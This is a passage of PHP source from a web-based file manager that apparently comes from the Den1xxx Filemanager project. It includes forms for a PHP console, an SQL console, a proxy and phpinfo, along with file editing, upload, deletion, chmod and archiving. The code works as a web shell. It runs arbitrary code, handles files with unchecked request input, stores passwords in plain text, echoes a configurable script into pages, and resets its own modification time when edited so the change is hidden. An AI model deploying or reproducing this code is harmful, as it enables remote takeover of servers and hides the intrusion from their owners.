colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive 